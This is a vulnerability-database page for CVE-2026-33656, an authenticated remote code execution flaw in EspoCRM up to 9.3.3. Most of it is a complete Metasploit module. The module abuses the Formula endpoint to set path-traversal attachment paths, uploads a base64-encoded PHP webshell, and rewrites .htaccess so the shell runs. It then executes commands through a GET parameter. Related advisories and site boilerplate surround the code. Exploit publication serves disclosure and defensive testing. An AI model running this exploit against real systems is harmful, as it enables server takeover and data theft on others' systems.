Lucene search
K

πŸ“„ EspoCRM 9.3.3 Remote Code Execution

πŸ—“οΈΒ 17 Apr 2026Β 00:00:00Reported byΒ indoushkaTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 87Β Views

EspoCRM authenticated RCE up to 9.3.3 via formula bypass, attachment abuse, path traversal, and webshell.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-33656
22 Apr 202620:01
–attackerkb
Circl
CVE-2026-33656
25 Mar 202612:58
–circl
CNNVD
EspoCRM θ·―εΎ„ιεŽ†ζΌζ΄ž
22 Apr 202600:00
–cnnvd
CVE
CVE-2026-33656
22 Apr 202620:01
–cve
Cvelist
CVE-2026-33656 EspoCRM vulnerable to authenticated RCE via Formula with path traversal in attachment `sourceId`, exploitable by admin user
22 Apr 202620:01
–cvelist
EUVD
EUVD-2026-25081
22 Apr 202620:01
–euvd
NVD
CVE-2026-33656
22 Apr 202621:17
–nvd
Packet Storm
πŸ“„ EspoCRM 9.3.3 Remote Code Execution / Path Traversal
25 Mar 202600:00
–packetstorm
Positive Technologies
PT-2026-27774
25 Mar 202600:00
–ptsecurity
RedhatCVE
CVE-2026-33656
5 Jun 202619:17
–redhatcve
Rows per page
==================================================================================================================================
    | # Title     : EspoCRM ≀ 9.3.3 Authenticated RCE Exploit via Formula ACL Bypass and Attachment Abuse                            |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.espocrm.com/download/upgrades/                                                                       |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets an authenticated Remote Code Execution (RCE) vulnerability in EspoCRM versions up to 9.3.3.
    
    [+] The exploit chain works as follows:
    
    Authenticates to the EspoCRM API using provided credentials.
    Creates a malicious attachment entry via the Attachment API.
    Abuses a Formula Engine endpoint to bypass ACL restrictions.
    Uses the formula execution to manipulate internal attachment paths (path traversal).
    Uploads a PHP webshell payload through chunked attachment upload.
    Poisones a .htaccess file to enable execution of PHP code in a restricted directory.
    Triggers the uploaded webshell via an HTTP request with a command parameter (whoami as proof of execution).
    
    
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'EspoCRM <= 9.3.3 Authenticated RCE via Formula ACL Bypass',
            'Description' => %q{
              Authenticated RCE in EspoCRM via formula ACL bypass + attachment abuse.
            },
            'Author' => [
              'indoushka'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              [ 'URL', 'https://jivasecurity.com/writeups/espocrm-rce' ],
              [ 'CVE', '2026-33656' ]
            ],
            'Platform' => ['php'],
            'Arch' => [ARCH_PHP],
            'Targets' => [
              [ 'EspoCRM <= 9.3.3', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-01-01'
          )
        )
    
        register_options(
          [
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('USERNAME', [true, 'Username', 'admin']),
            OptString.new('PASSWORD', [true, 'Password', 'admin'])
          ]
        )
      end
    
      def auth_headers
        creds = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
        token = Rex::Text.encode_base64(creds)
    
        {
          'Espo-Authorization' => token
        }
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/App/user'),
          'headers' => auth_headers
        )
    
        return Exploit::CheckCode::Detected if res && res.code == 200
        Exploit::CheckCode::Safe
      end
    
      def create_attachment(name, content_type, size)
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/Attachment'),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/json'
          }),
          'data' => {
            'name' => name,
            'type' => content_type,
            'role' => 'Attachment',
            'relatedType' => 'Document',
            'field' => 'file',
            'isBeingUploaded' => true,
            'size' => size
          }.to_json
        )
    
        return nil unless res && res.code == 200
        res.get_json_document&.dig('id')
      end
    
      def run_formula(attachment_id, source_path)
        expr = "record\\update(\"Attachment\",\"#{attachment_id}\",\"sourceId\",\"#{source_path}\")"
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/Formula/action/run'),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/json'
          }),
          'data' => {
            'expression' => expr,
            'targetType' => nil,
            'targetId' => nil
          }.to_json
        )
    
        return false unless res && res.code == 200
    
        json = res.get_json_document rescue nil
        json && json['isSuccess'] == true
      end
    
      def upload_chunk(attachment_id, payload_base64)
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, "api/v1/Attachment/chunk/#{attachment_id}"),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/octet-stream'
          }),
          'data' => "data:application/octet-stream;base64,#{payload_base64}"
        )
      end
    
      def exploit
        print_status("Creating attachment...")
        shell_id = create_attachment('shell.txt', 'text/plain', 0)
        fail_with(Failure::UnexpectedReply, "Attachment failed") unless shell_id
    
        print_good("Attachment ID: #{shell_id}")
    
        print_status("Bypassing ACL via formula...")
        fail_with(Failure::UnexpectedReply, "Formula failed") unless run_formula(shell_id, '../../client/x')
    
        print_good("Path traversal set")
    
        print_status("Uploading PHP payload...")
        php_payload = "PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg=="
        upload_chunk(shell_id, php_payload)
    
        print_good("Webshell written")
    
        print_status("Creating .htaccess entry...")
        ht_id = create_attachment('ht.txt', 'text/plain', 0)
        fail_with(Failure::UnexpectedReply, "HT creation failed") unless ht_id
    
        fail_with(Failure::UnexpectedReply, "HT formula failed") unless run_formula(ht_id, '../../.htaccess')
    
        ht_payload = "CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4="
        upload_chunk(ht_id, ht_payload)
    
        print_good(".htaccess poisoned")
    
        webshell = normalize_uri(target_uri.path, 'client/x')
    
        print_status("Executing: #{webshell}")
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => webshell,
          'vars_get' => {
            'c' => 'whoami'
          }
        )
    
        if res && res.code == 200
          print_good("Execution success")
          print_line(res.body.to_s) if res.body
        else
          fail_with(Failure::UnexpectedReply, "Execution failed")
        end
      end
    end
    
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Apr 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.1
EPSS0.005
SSVC
87